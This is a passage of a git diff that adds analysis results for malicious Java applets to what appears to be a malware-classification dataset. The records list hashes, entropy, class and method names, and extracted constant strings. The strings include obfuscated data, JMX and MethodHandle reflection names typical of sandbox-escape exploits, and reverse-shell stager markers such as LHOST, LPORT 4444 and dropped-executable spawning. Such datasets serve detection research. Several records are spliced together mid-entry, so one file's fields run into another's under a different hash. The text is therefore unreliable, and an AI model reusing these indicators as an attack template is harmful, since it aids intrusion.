"c9052344bee7cd346d70baddb2da38e7575a1ed5", "file_name": "java_malicious/638cbcc0878b6a05bda9b3ec2d34e0400016f2559b8591b7b7044e25b3329751", "_id": "304394c1-59e0-47a9-be9b-238a6d6bc3c7", "score": 0, "entropy": 5.428325567909242, "libmagic": "compiled Java class data, version 45.3", "file_size": 1305, "ssdeep": "24:cfLYIWpPlEXgYBs+qGoXQSXxaLzpVn6U9a8Dwe+FZfL3RVF92jScC:YUI+toxq3hanHn6U9aOw5TBx2jScC", "sha256": "638cbcc0878b6a05bda9b3ec2d34e0400016f2559b8591b7b7044e25b3329751", "md5": "2ed3799468bf7bc9fa2664e198c451a4", "parent_sha256": "638cbcc0878b6a05bda9b3ec2d34e0400016f2559b8591b7b7044e25b3329751"}} \ No newline at end of file diff --git a/java_classification/data/malicious/63bf9331385feff0ce657f2e5f442489414e9391cea01c4812d41e6d1b4700c1.results b/java_classification/data/malicious/63bf9331385feff0ce657f2e5f442489414e9391cea01c4812d41e6d1b4700c1.results new file mode 100755 index 0000000..1a43f7a --- /dev/null +++ b/java_classification/data/malicious/63bf9331385feff0ce657f2e5f442489414e9391cea01c4812d41e6d1b4700c1.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "fawd.java", "class_name": "fawa/fawd", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["", "fawa", "fawa", "init", "fawa", "fawa", ""], "minor_version": 0, "const_pool_count": 155}}, "_id": "41d53058-ae80-4c46-ad14-d038310986eb", "verbose": {"java": {"constant strings": ["IF6{(]eJ}+{g-\\\\]J`\\x1f+4/pZ+X\\x0f7K\\\\ZA*A?qd.O)U}\\x1bO\\x1dZ`\\rz:&g/W]Fb\\x10]+XIq9X<\\\\uQNa\"S\\x1bS\\x062(7rl\\x14z\\xc0\\x80I],*;fn\\x1cr:Y|-C(w}\\x1a_\\x01GZ*_ heH_.E\\x06>}\\x1b(}.C?iu2X$|w9~,\\'w1\\\\,vQ:*,^{9I\\x01qg-_\\x03NZ*[<|[\\x14l7eE0X(\\\\[>n\\x0e/`.V:.t/*?f{9H#)UI-_o^\\x1ct(]g;U]U\\x05)p*M~7u4M_\\x0cX\\nTw)L?Nc)`>Nc\\x1c_4tR+{*QX\\x1ap>JR0S\\x01Ra2X,[w:r,N]\\x0c/?u|KJ8Ue-\\\\\\t.rHK;N]>]5{s-(8Mt*r;]b?} L\\x06>c Jg)+\\tY|LH8Y^\\x1b*#XW/a\\x01NTIz\\x1az~\\x17n,Vq\\x10[/E}\\x0fx(Xq\\x10X/Z~.@\\tsc.[]l7f\\x0f/A8Y})r\\x0e.TH_$Qa\\x0c[?,Z/_5QaMK\\x0fsl\\x0f_\"Rq6J:Mu*[\\nEa\\x1cu7W`<@:*X4(#/\\x05:_\\x07^g9\\\\+Ms\\x10R\\x0eXW=_%{q\\x1c[:-`,[,\\\\s9P\\nRw9r,[X._/Ng\\x1fR\\x05.R:J\\xc0\\x80Qu)L\\xc0\\x80qd\\x16O8Ic)O+]c\\x13C,Z~9X(^w)z,Uw9x*Q\\x07\\x14[4tQ9u,ZU9+\\x01ow9X[}\\x07*O+]cH- H\\\\2C r^\\x17@_kq5\\\\+Md1J\\x03JW\\x19\\\\\\x1afS?q\\x04}a6L\\\\ie:C8I\\x072[4t`/m\\x1aJn\\x1co\\x1fLp+@^Mc\\x1c\\\\[8/p\\x08rj%N`/ 8Id*A;]`:X.Fp-L+U~9X,^`\\x02O\\x18&\\x03\\x1a_;.R];,Z\\x02_+Nc.Q\\x0eX^\\x13{8I\\x04!r\\tXR.iXPL\\x14*\\nZw9u#Gx,[\\x0cI\\x04:^.-w0[>,R5\\\\7,t3N\\x04}a6+8K|Lx/Nc>Q qZ:O(.\\x0e9]8^f*H\\x0er\\x0f\\x0fC:Mq,s/uT.C\\x02,t\\x17C*Iu)L\\']g-_/X]>[8f\\x0f\\x17H;IdH_(J`I_\\x05zc!N?ll9H\\x0e^\\\\\\x0f\\\\/^w^g\\x1bX<^c>K_FA7A\\x05IW>v_M|)LXIq*X\\n^l9\\\\,^e9P,Xo:X,Ya;~/pw?v:{u*_;Yd)*\\x06/g-O\\x17Q]2v\\x03^w\\x1aX/Y}-*\\tYc-@\\x17{U?q\\x06}c.+4tR?S\\x05]^\\x13{8I\\x06ML;.|:M\\x06I\\x045tT]e\\x16[8XF\\x10}\\xc0\\x80.|:K+M|\"\\\\#q\\x06>[?X\\x0f>\\\\\\tK\\x04\\x15i\\x01F\\x05).&JN\\t@5E^4H\\xc0\\x80Jl\\x0bH&`J@\\x06{p\\x1c[8IU\\x14u.K`!L+XR.iXP`)L\\x15Mg O/Nc.[?Jp:H8Yx,T+I\\x7f+V5Ql\\x0cC]Q~\\x1bQ\\t]d CYN[>or\\'R{=_/Yq*L+Yg-_/Nc\\x1f-\\x03S\\x076)\\x0erZ\\rC\\x17lF,^\\x1dwR\\x15\\\\\\x1b}q:W]su,A\\x05]b\\x13(\\x14E\\x06>W JW?K Zs*A7vw:X,|w;X,^B\\x0eH8Ys\")+Ng-_\\x19]WI_/Pq9S+]cIK%|s=_;J\\x04\\x10W4H\\x07?T\\x01sX:C^{\\x05\\x08c\\'ko\\x02}8M\\x07)L+)UIz\\x1az~>C)/t9K\\x07)w96[^w-X.N\\x04A[,#]g-(/Ms>[;Hc>r\\x0cW`\\x10H8YB/r>t\\x03\\x02C]I\\xc0\\x80*L+mS O/No/Zn,eF\\x1c^K+QC>R*Mc.(\\']a\\x13O;eZ:H<-aA]/Yl\\x16};Ea\\x10-?I|:{\\x0fIp\\x0eL\\\\QE.)9IZ+@]wt,w\\t\\\\g-P\\x15Ja\"|*^F9S/^|=M]Mt=W8}a6+8K|Lx,^|Hz%I\\x06-*?fl/_\\x19]A:W<-\\x0f:K[^t\\x1bX*kg;M8Yu*a+oY,H;]\\x049,9Lc>[\\x0cvo\\x16z\\x15}]\\x12H8U{\\x02N;|\\x07\\x1arY(]\"N$gX>a\\'N].-\\x0eIZ!N\\xc0\\x80wbHO]}aA[,xs0K\\trs\\x13K\\x17L\\x0f\\x0bO\\x1dMx\\x01J%I\\\\=}\\x1a~q*m?Qc\\x12q\"zs>P:Y|Ln4-\\x07/x*Ud\\x1c)(+lHK[NU p:~\\x02\\x19w?Jp=|\\'oR0r\\x1bJoHO_Jc\\x13X\\\\~a\\xc0\\x80r4^Q9X\\x1e^\\x7fLX,^g\\x1fX<^w9X\\tJpK7Hp>ZJ?J|:H:Qn-s\\'ub\\x15S/z~>C:Yr>[v4.QJC\\x04&\\x07\\x12_\\x06M]I[;Zl\\n[T^y.[7}n:M\\tUg+n/Nc))+QaMI\\t-R:x:r|6N#rx:L+\\\\d\\x14S\\x0cIW\\x19\\\\\\x1afS?q\\x04}a6[?Zp\"A?Ho/a\\\\Nc>)+WZ\\x0fO\\xc0\\x80X`\\x16C:|w:X\"lw9X,^g-S?Nc\\x14[[/Mn6o;ZR\\x0fx*MB*A7vs9u tp;_?tR*z9UcHH8&\\x06\\x0bC8hoJO\\x1aL\\x04A[?tF-O\\\\Ut.);jcJ /Ma\\x15(:Xx!N\\\\X{\\x14u9gw)],^~9S?/^=H(MF\\x1b~(^g9z,^w.(>-\\x0f:u\\t]d\\x15m/I`2O>/R*{j\\x0fsF!LTSW\\x13((}O/O *UIu5QaMT J\\x02\\x0f@_.`-)7Hp)X<~[>+4L~\\x0fM5UX)[+Rg-rX~R\\x19s?{p:n\\x1aMcI[7[|1L={\\x06>U_g^\\x1at\\x0eicKK_k{.N8YT\\x14_\\x18IX\\x1a}\\x17L\\x04A[,Nw)x\\xc0\\x80~S,u\\x1d&W)w\\x05Ic/(_S\\x04\\x10\\\\/N[-)+]S\\x19L8It*N\\x15{\\x04\\x0cW/Nc>[/p;C]Y\\x06-O\\\\Ut.r:{u.z\\\\sn6NXRg\\x13(;]_*(\\'F`\\x1fr,^g5x\\xc0\\x80Y\\x04!JTlo/,\\x03Sb\"^9sF;@\\x06wc>kH;Qt)_\\x1bNa-W?ga.q.F\\\\:|\\x06I\\x04.o[)@\\x1fX,^r1X.za>A+{a5^+Wy/l\\x0eYl/q,^s9X\\x1a^t-}\\x1dL~\\x1cw\\x06{L\\x1c)+jUI_/Nc>[\\x08Z\\x7f\\x02{\\\\wu\\x1c)\\x02Kr2QBueJn\\x1e]w9@U~aMi,Zw2X,Sw9X/Gg9_,^U9X,\\\\U9{\\n^|\\x10P\\x1eKt1l+{`-+\\tPW*L+ix\\x16H+^w:v\\n^q9X\\n^w9Z+qg.c?Zg-S\\x1fNc\\xc0\\x80kH\\x1cW\\x19Jv+\\\\g-_/Ic>[7/]>[>Jp.}]Yt)L+Mg-_?X|\\x11}\\x17YG)r7/R\\x13@;x\\x05!h]Yo\\x1c^\\t-`,W>za>L;.l\\x16R]Io*_\\x0cr\\x07\\x16H\\tsF0}+koHS/NZ.c7H\\x7f9C]I{Mq[>Hp)LTMd-r<][\\x1fH.XA\\x1aC)/U-[}?uT/a\\x0fNQ=X/q|I{\\x01g]\"L;N`>q\\x0fJo\\x01N;~`*L\\'Js?_\\x06Zt9Q$^[)O+]eIL\\x14Pb>s\\x0fJ\\x03\\x0bL\\xc0\\x80.N\\x14z\\nhw>H,M~\\x1b^\\x05tN-t\\x1dugHa\\x1cMb>[I\\x06))8IFLN W^\\xc0\\x80N;wW\\x19\\\\\\x1afF! ^q9X(N[.)/Es.k\\x0fH\\x0f:H5]c\\x1b*\\tY})_\\'Nc\\x08Wu\\x18Hx.H\\x03st)u\\']`Nw0n/)R5M\\x0e/p:H8Yt)rXMq2Q?qF\\x0f\\\\,]Z\\x14w+Xd-(7PT-_?Mc\"W Nc2[?Wd=_&Jc>[>YwIX<^t\\x1aQ;wa)L+]g-_/Lc>[\\x0f/p)H8YD\\x1fX\"Lc=a7,W)X4^u\\xc0\\x80O\"J`.(\\']c\\x13O\\x1bzcL@_IA\\x13C:Q@\"\\\\\\x1aNc>[Q:G|1O\\'~{=u>L\\x05\\x10Q7vlH@:.q5u\\x01Kw9X%~a0W\\x03Mn\\x08_-\\x0cNu0X,o\\x06\\x19N\\\\sy6W", "hgbixurbfxhm", "ozgeoidfidyu", "wyvswoyqtobnaktf", "ylusuzwxlidundtrzm", "hhdlbnfbhrjhxyqoudc", "ephucolyrorlweoknca", "ifakflwccfbihx", "rddrsejiawotjyeoqtj", "yusnmvrksluplypm", "pzdmrjsabkkapffavto", "jlouiccapojvcooclpt", "uyowwvckpkelahg", "cvraoxordkahiktk", "wfqmabeisrcyppsjko", "gpilkorszavjqkcyjpaub", "faslqpsqdpjuxrvjrcm", "qgahyowxhdmz", "dakzfqexjkkrymnt", "hirsbcnxkfwvrxkpblb", "qaolcloopzsxx", "spizlpujzkbrlgm", "yvfcklsqgmotxo", "xoeppxpsygaafcxzuh", "kzgxpeymcrwegjrks", "jcixhfgfaiqodhjy", "iijnmonrbhqgfwdewl"], "minor_version": 0, "const_pool_count": 1283}}, "_id": "7ee200a2-a57a-4ba1-a0e2-07bf099e2d4e", "verbose": {"java": {"constant strings": ["grmroyzbqfqrucsudhvwb", "yyarrgiqcfjafrianvuy", "zbhghvgmdpcqh", "roqbiuxnbnpzln", "igfujseiromun", "zpleetsvmfrglofs", "roatvtjsqtcvxbc", "aroiogmopujeuqupfvghm", "izmgkkpwhxwnpd", "qjutpynitotl", "smdqazliruwpqnblcxt", "rptxthxbvlhpwv", "qoitoytfdojoqbbjaemh", "rmhjxvmdnxepgivp", "tpjemynuitaaegqysy", "rppjtcwpjvluqtccno", "ttezbhxvoocoib", "rpryjwjymiukkvdpstf", "mmyrfgipbxdjwqmqstr", "tmiycruscemk", "iraawnhuvzmohgn", "sptkijkznqyjcznbzqrxx", "pxlbpofayxsicb", "vhaueapkjqnkd", "rlhicsfeuadmzpewcfdv", "pzfprtennjwnjodhklyt", "jihstwamjlbn", "rrdkehjvbizspgmy", "lnrwvcgoqrjcaqnjvewy", "cvkkggebfslovplvmr", "svigllpbmbzjprp", "cfxktyvwwfstcbgmz", "ltpkefezdlpyoffx", "abynrpreirziopomvqxm", "qdkmytwcqxerc", "vredwoalbrlmbunh", "ckfekntvnrkfudz", "lqmnkmgaxxam", "tbviomziaiyhna", "rmbyiicpjlmfjpzktdtru", "yxyyctwlqshxl", "com.sun.jmx.mbeanserver.JmxMBeanServerBuilder", "javax.management.MBeanServer", "javax.management.MBeanServerDelegate", "newMBeanServer", "", "getMBeanInstantiator", "findClass", "sun.org.mozilla.javascript.internal.Context", "sun.org.mozilla.javascript.internal.GeneratedClassLoader", "java.lang.invoke.MethodHandle", "java.lang.invoke.MethodHandles", "java.lang.invoke.MethodType", "publicLookup", "methodType", "findVirtual", "findConstructor", "invokeWithArguments", "createClassLoader", "defineClass", "azdzojpwgnvssx", "huuacvejvssnlod", "fohadvhdngqultzkhkb", "xatwnygsmkku", "tckxjcsuqtqvypjxtm", "obfiwcwofvmflqiqwqstd", "layznjomvgnxztsvawj", "nedlqejzjfnbdc", "glefzgiurzpx"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "56a3b414ed2cccf6d825782ebbb48b30a8dc1ac8", "file_name": "java_malicious/63ce913d5e577087234461fc74242d1c0a92e0ec71476860c747ada80ce5ca22", "_id": "7ee200a2-a57a-4ba1-a0e2-07bf099e2d4e", "score": 0, "entropy": 6.5819256336483765, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 24994, "ssdeep": "384:kLsfad6YtsKL1e+J9TqO5/14bXMTxVhBhB79YoVARS+daxcKpHqMTPW1tZUiR6Oj:kAk5tsKkM9N1owB7b42dpHS5UiJPx", "sha256": "63ce913d5e577087234461fc74242d1c0a92e0ec71476860c747ada80ce5ca22", "md5": "ec70d2e230b13fcd9c45ef49ce97a413", "parent_sha256": "63ce913d5e577087234461fc74242d1c0a92e0ec71476860c747ada80ce5ca22"}} \ No newline at end of file diff --git a/java_classification/data/malicious/6433dfce09b63e4fe3722f9a1e0e47e4c9ec4b02107a97c14c9ab07ce4bb1486.results b/java_classification/data/malicious/6433dfce09b63e4fe3722f9a1e0e47e4c9ec4b02107a97c14c9ab07ce4bb1486.results new file mode 100755 index 0000000..100615f --- /dev/null +++ b/java_classification/data/malicious/6433dfce09b63e4fe3722f9a1e0e47e4c9ec4b02107a97c14c9ab07ce4bb1486.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "bbyqlyVn.java", "class_name": "bbyqlyVn", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "init", "wQFlISf", "cRpyzQ"], "minor_version": 0, "const_pool_count": 92}}, "_id": "1bfb9417-61af-4746-af79-897aa827f74d", "verbose": {"java": {"constant strings": ["10\\x16\\x16\\x03\\x120\\x16#", "&7 $1 \\x06*+1 =1", "/$3$k$21k,($\" k\\x06*)*7\\x08*! )/$3$k$21k,($\" k\\x06*)*7\\x08*! )/$3$k$21k\\x17 +! 7,+\"\\r,+16"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "5954ae345e2073d79cb9911e06c6b1901add2da1", "file_name": "java_malicious/6433dfce09b63e4fe3722f9a1e0e47e4c9ec4b02107a97c14c9ab07ce4bb1486", "_id": "1bfb9417-61af-4746-af79-897aa827f74d", "score": 0, "entropy": 4.930087608794765, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 3790, "ssdeep": "48:rjn4lWzKdLlcGLGoCudq1zncc8v1/kSDM3NUh3ImuRwwuyuOuRu3uXf1SDaSMSDP:rNfzz8u59muqwuyuOuRu3uXddnI4g", "sha256": "6433dfce09b63e4fe3722f9a1e0e47e4c9ec4b02107a97c14c9ab07ce4bb1486", "md5": "e057ab6934f60a0b7b1de9031a461846", "parent_sha256": "6433dfce09b63e4fe3722f9a1e0e47e4c9ec4b02107a97c14c9ab07ce4bb1486"}} \ No newline at end of file diff --git a/java_classification/data/malicious/64ac3576d6ceca41d3c77ec9aea7977e897fc89eca831504667cdc1b4db91a64.results b/java_classification/data/malicious/64ac3576d6ceca41d3c77ec9aea7977e897fc89eca831504667cdc1b4db91a64.results new file mode 100755 index 0000000..55de233 --- /dev/null +++ b/java_classification/data/malicious/64ac3576d6ceca41d3c77ec9aea7977e897fc89eca831504667cdc1b4db91a64.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "OwgAcEiNpD/wZhjkSt", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": ["", "main", "writeEmbeddedFile", "bootstrap", "getJreExecutable", "addExtension", "findInDir", "normalize", "dissect", "class$", ""], "minor_version": 3, "const_pool_count": 605}}, "_id": "495a5c3c-4e72-4e7f-ad5f-322cdc5b90ea", "verbose": {"java": {"constant strings": ["OwgAcEiNpD.wZhjkSt", ".class", "/OwgAcEiNpD.dat", "Executable", "~spawn", ".tmp", ".dir", "DroppedExecutable", "Spawn", "0", "OwgAcEiNpD.dat", "URL", "", "https:", "OwgAcEiNpD/wZhjkStTrustManager.class", "wZhjkStTrustManager.class", "AESPassword", "OwgAcEiNpD/AESEncryption.class", "AESEncryption.class", "java", "-classpath", "java.io.File", "setExecutable", "chmod", "+x", "LPORT", "4444", "LHOST", "raw:", "ISO-8859-1", "OwgAcEiNpD.wZhjkStTrustManager", "useFor", "java.net.URLConnection", "OwgAcEiNpD.AESEncryption", "wrapStreams", "java.io.InputStream", "java.io.OutputStream", "java.lang.String", "wZhjkSt -- ", "StageParameters", " ", "EmbeddedStage", "/", "file:///", "javapayload.stage.", "start", "java.io.DataInputStream", "[Ljava.lang.String;", "/sh", "/bin", ".exe", ".", "..", "os.name", "path.separator", "aix", ";", "java.home"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "c363a44ad92b13838fa816a99ad90b094bfa0f5f", "file_name": "java_malicious/64ac3576d6ceca41d3c77ec9aea7977e897fc89eca831504667cdc1b4db91a64", "_id": "495a5c3c-4e72-4e7f-ad5f-322cdc5b90ea", "score": 0, "entropy": 6.145824366007238, "libmagic": "compiled Java class data, version 45.3", "file_size": 9415, "ssdeep": "96:gbaBzgFN1tMADUB++Wrd3jThm7vkoxKIJUNuIpvqPBX15KYvXkr9DmgHzxE03TvR:gmO1tQ+ptmZyNvpvUrKYvCkgHzbDrDF", "sha256": "64ac3576d6ceca41d3c77ec9aea7977e897fc89eca831504667cdc1b4db91a64", "md5": "ec064457f1262a12786716fcded3f3ca", "parent_sha256": "64ac3576d6ceca41d3c77ec9aea7977e897fc89eca831504667cdc1b4db91a64"}} \ No newline at end of file diff --git a/java_classification/data/malicious/65687b70b5698720ebdd890e731e63109352df055b74705c11ee0b2dbcff02ab.results b/java_classification/data/malicious/65687b70b5698720ebdd890e731e63109352df055b74705c11ee0b2dbcff02ab.results new file mode 100755 index 0000000..2cc21e7 --- /dev/null +++ b/java_classification/data/malicious/65687b70b5698720ebdd890e731e63109352df055b74705c11ee0b2dbcff02ab.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "pJAiVPU.java", "class_name": "pJAiVPU", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "lZgFRfpA", "vrhRdF", "lvHNjtDRp", "paJkDEM", "JOblYuit", "MXBFIj", "nqIMyWM"], "minor_version": 0, "const_pool_count": 143}}, "_id": "92cc51e4-e7f3-413b-8fc6-37eb239f39f1", "verbose": {"java": {"constant strings": ["\\x1b\\x04\\x04\\x16\\x07\\n\\x1b\\x04\\x14\\x1b\\x01\\x16\\x12\\xc0\\x80", "\\x1b\\x19\\x19", "\\x17\\x15\\xc0\\x80\\x12", "\\x07\\x01\\x07\\x01", "\\x05\\x14\\x07\\x06\\x17\\xc0\\x80\\x12", "\\x01\\x07\\x04\\x04\\n\\x16", "\\x05\\x14\\x02\\x17\\xc0\\x80\\x12", "", "\\x01\\x07\\n\\x16", "\\x05\\x14\\x17\\xc0\\x80\\x12", "\\x17\\xc0\\x80\\x15", "\\x16\\x01\\x14\\x17\\x11\\x1b\\x19\\x18\\x16\\x01\\x1e\\xc0\\x80\\x15S\\x18\\x1d\\x15\\x1e"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "db35c586413ec934bf1175c80b602e2fbb8bb5de", "file_name": "java_malicious/65687b70b5698720ebdd890e731e63109352df055b74705c11ee0b2dbcff02ab", "_id": "92cc51e4-e7f3-413b-8fc6-37eb239f39f1", "score": 0, "entropy": 5.871299972791492, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 3876, "ssdeep": "96:u2OFl2EUTGI85tLNtNxHO1UPGVEWZKqz0p:uXl2zGbtLNtnHO1PVrZhC", "sha256": "65687b70b5698720ebdd890e731e63109352df055b74705c11ee0b2dbcff02ab", "md5": "2bfb1d69c0c65f92c7c093ace5bd6103", "parent_sha256": "65687b70b5698720ebdd890e731e63109352df055b74705c11ee0b2dbcff02ab"}} \ No newline at end of file diff --git a/java_classification/data/malicious/6631efb674280f5b61220cce152e6d735fa1a95eef0b4a3bd5902ad65fad53b6.results b/java_classification/data/malicious/6631efb674280f5b61220cce152e6d735fa1a95eef0b4a3bd5902ad65fad53b6.results new file mode 100755 index 0000000..170340a --- /dev/null +++ b/java_classification/data/malicious/6631efb674280f5b61220cce152e6d735fa1a95eef0b4a3bd5902ad65fad53b6.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Main.java", "class_name": "Main", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 48, "method_names": ["", "init"], "minor_version": 0, "const_pool_count": 97}}, "_id": "74e95033-9580-405a-a40b-db61c749cdfc", "verbose": {"java": {"constant strings": ["Y0000000000000000I1ZjA,XP,0A,0A,kA,AQ,2A,B2,BB,0B,BA,BX,P8,AB,uJ,Il,PN,pL,PJ,0L,PJ,0N,pz,0i,yK,KG,p7,pG,pa,OC,Tm,qT,p7,pw,pe,PL,KS,pd,Ll,K2,P5,Ln,Ml,KQ,x7,PO,pQ,mT,Lf,Sd,4t,Co,fj,KZ,Sn,kP,hv,hl,Kj,Wq,zW,tP,Yh,hN,oe,PU,P7,pj,BY,i2,Hr,O2,NW,p7,pU,8p,uP,rR,Lb,MP,Tk,Od,Vn,kK,XZ,HS,Ie,Pu,Ps,0L,KY,G3,wO,pu,og,pp,uK,Jp,Gb,w7,7M,PU,os,0r,U9,jL,Kh,oa,OU,cO,9K,18,lt,D3,15,Pc,0l,KI,LP,Qv,2p,S0,he,Tu,QW,ps,0k,Ob,vv,l0,Zb,yP,QV,2N,kU,Rq,C0,Co,pu,kW,pR,Uh,zK,1S,Ki,lf,Nu,5P,xE,5b,UV,cl,Cx,kt,Hn,is,3O,72,cc,4d,nr,ES,H3,UY,Vp,Cs,8E,Pc,ko,zY,QU,TV,PM,Xa,Ug,pp,3K,p0,Pp,PS,ca,Gp,PY,oV,6T,Pk,3X,xW,p3,Ew,v0,j6,aa,CK,OV,6G,tr,zc,il,CH,B3,43,qm,Pf,ZU,P2,Un,Tk,OQ,FG,xS,ap,VL,KT,5E,ln,kC,De,eQ,h4,CZ,Uf,6L,KT,6w,Pv,cz,UW,CK,yR,iQ,Qn,Me,Sx,ET,s9,Kt,OM,nr,06,X8,r0,tw,xi,Qx,KT,M3,3Y,JS,pZ,K8,qe,kE,Oq,eM,7s,nl,K3,nw,TW,sk,mq,vN,kT,LP,KN,kS,nW,lE,SY,ML,KT,Dn,ku,Sz,eN,KC,nR,y8,CY,xU,Pi,o9,oK,OL,Nr,nt,Nj,LL,Xy,nl,Jt,NQ,nN,8z,Bb,Sv,S8,JL,JQ,Kv,Vu,J4,or,Ps,RS,r1,dP,LR,LP,Ca,Fc,z5,Pp,h2,Tp,t0,pF,Zv,O6,Op,kS,Yp,n0,op,z3,Q6,Np,iR,NE,6r,O6,OP,pc,QB,G0,e6,Or,Bp,ea,cr,TT,nT,0u,8P,p6,O2,Np,0F,Pg,Bv,QD,pt,vd,rV,Pp,1f,S6,PD,td,26,PE,dp,0T,y2,j6,Qt,rf,P4,pv,PF,Vd,pt,qb,rp,3G,Ee,es,RP,6w,CF,P1,vr,wU,ft,uF,Qp,2q,rS,US,SV,Pp,X0,36,Pp,3D,xd,qW,Et,pQ,u0,YV,WP,c0,1F,Xg,Dq,qc,Ru,ac,jf,Pt,qv,Pf,PP,f0,0P,7v,PU,Pw,pA,", "41,25,25,25,25", ",", "", "0000000000000000", "IIIIIIIIIIIIIIII", "71Z", "7QZ", "I1Z", "IQZ", "A"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "649b81f7f854263235c72f40213e925b1d1bc82e", "file_name": "java_malicious/6631efb674280f5b61220cce152e6d735fa1a95eef0b4a3bd5902ad65fad53b6", "_id": "74e95033-9580-405a-a40b-db61c749cdfc", "score": 0, "entropy": 6.1243294433279845, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 3313, "ssdeep": "96:6FlsPgYqJUplxu447Q+EiTNNkez/j83Ifh:QlygrOxu44B37nr83Ip", "sha256": "6631efb674280f5b61220cce152e6d735fa1a95eef0b4a3bd5902ad65fad53b6", "md5": "49b893018247cb72ad3ef2750b30e369", "parent_sha256": "6631efb674280f5b61220cce152e6d735fa1a95eef0b4a3bd5902ad65fad53b6"}} \ No newline at end of file diff --git a/java_classification/data/malicious/680751455b2210f8473044231cf50439f485d19c08c0fc954dc9fa0db07047b2.results b/java_classification/data/malicious/680751455b2210f8473044231cf50439f485d19c08c0fc954dc9fa0db07047b2.results new file mode 100755 index 0000000..4cd4c3a --- /dev/null +++ b/java_classification/data/malicious/680751455b2210f8473044231cf50439f485d19c08c0fc954dc9fa0db07047b2.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "GkTBMSRCX.java", "class_name": "hhIji/GkTBMSRCX", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "bNiWStmZ", "AHmqQswFt"], "minor_version": 0, "const_pool_count": 128}}, "_id": "6e47a73d-d271-466a-994f-a4889768db75", "verbose": {"java": {"signatures": ["(Ljava/lang/Class<*>;)V"], "constant strings": ["newInstance", "/$3$k6 &07,1", "main", "writeEmbeddedFile", "bootstrap", "getJreExecutable", "addExtension", "findInDir", "normalize", "dissect", "class$", ""], "minor_version": 3, "const_pool_count": 605}}, "_id": "429a7100-d235-4fe6-9c79-f2417142dba8", "verbose": {"java": {"constant strings": ["GBiETwGuQh.Payload", ".class", "/GBiETwGuQh.dat", "Executable", "~spawn", ".tmp", ".dir", "DroppedExecutable", "Spawn", "0", "GBiETwGuQh.dat", "URL", "", "https:", "GBiETwGuQh/PayloadTrustManager.class", "PayloadTrustManager.class", "AESPassword", "GBiETwGuQh/AESEncryption.class", "AESEncryption.class", "java", "-classpath", "java.io.File", "setExecutable", "chmod", "+x", "LPORT", "4444", "LHOST", "raw:", "ISO-8859-1", "GBiETwGuQh.PayloadTrustManager", "useFor", "java.net.URLConnection", "GBiETwGuQh.AESEncryption", "wrapStreams", "java.io.InputStream", "java.io.OutputStream", "java.lang.String", "Payload -- ", "StageParameters", " ", "EmbeddedStage", "/", "file:///", "javakcjzdtD.stage.", "start", "java.io.DataInputStream", "[Ljava.lang.String;", "/sh", "/bin", ".exe", ".", "..", "os.name", "path.separator", "aix", ";", "java.home"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "f4ef0edf4223cb96c3ea575bad05d2c1951611d1", "file_name": "java_malicious/686875ddf09243108cdde36bf99d21ec88e9b00d6461aa6ea798dc283d90d7be", "_id": "429a7100-d235-4fe6-9c79-f2417142dba8", "score": 0, "entropy": 6.1493441464529095, "libmagic": "compiled Java class data, version 45.3", "file_size": 9415, "ssdeep": "192:gmO1tRnzrtmjcyNvpvUrKYvCkgHzbDrDF:5+b/yNvZU+YvaH3B", "sha256": "686875ddf09243108cdde36bf99d21ec88e9b00d6461aa6ea798dc283d90d7be", "md5": "11294a61c3b7c65359ad59325677ee3e", "parent_sha256": "686875ddf09243108cdde36bf99d21ec88e9b00d6461aa6ea798dc283d90d7be"}} \ No newline at end of file diff --git a/java_classification/data/malicious/69029288ce36307f6820cf1a917b2be49252c13febeb69cd274184ad7aab8d6c.results b/java_classification/data/malicious/69029288ce36307f6820cf1a917b2be49252c13febeb69cd274184ad7aab8d6c.results new file mode 100755 index 0000000..45e5134 --- /dev/null +++ b/java_classification/data/malicious/69029288ce36307f6820cf1a917b2be49252c13febeb69cd274184ad7aab8d6c.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "a/mtizwojetjzhblngrurxk", "access_permissions": ["ACC_SUPER"], "major_version": 49, "method_names": ["", "eqxqhfesqfidcnmrxao", "dlwjhtfwfjsuqcfph", "coizkvbelbgsectnhcb", "tfhqvruqcxibtsslcvy", "zpxfuothuoxbjjaezpy", "dqstzbtgxncneyoh", "zvvzmewhnfgyunx", "plbyhaarcbgf", "gkrsctnecteyczrusba", "sjyqycttrkllfvuxqsf", "jpmpinynnaslgaoxpesn", "mefqgglpnmyprwrxlni", "kkjcorhdmqtzijilb", "wkvotkmkmhtszuhvd", "zaectkdmxvlewkngxen", "zsmwwirrhihnhmmoxi"], "minor_version": 0, "const_pool_count": 247}}, "_id": "0d93773a-6896-44a7-beef-0dc0ccba5fc3", "verbose": {"java": {"constant strings": ["evfhqnqzvee", "rflgaodh", "dgriuxyqryvqmw", "zkxisiqdqoynvex", "c", "kr", "mv", "xlifhgfwfphzl", "pelihkficv", "axqzzfagaqkqx", "eofulpmtoh", "hrtj", "cvifywl", "atihrlhx", "qp", "xaarje", "qdl", "jpackdotbsooip", "hisaaqpmhydcdf", "rkmsrwrqh", "thlopkzaugprpzu", "iebkqfiaasxtxt", "torbryxrz", "nhfbdwezx", 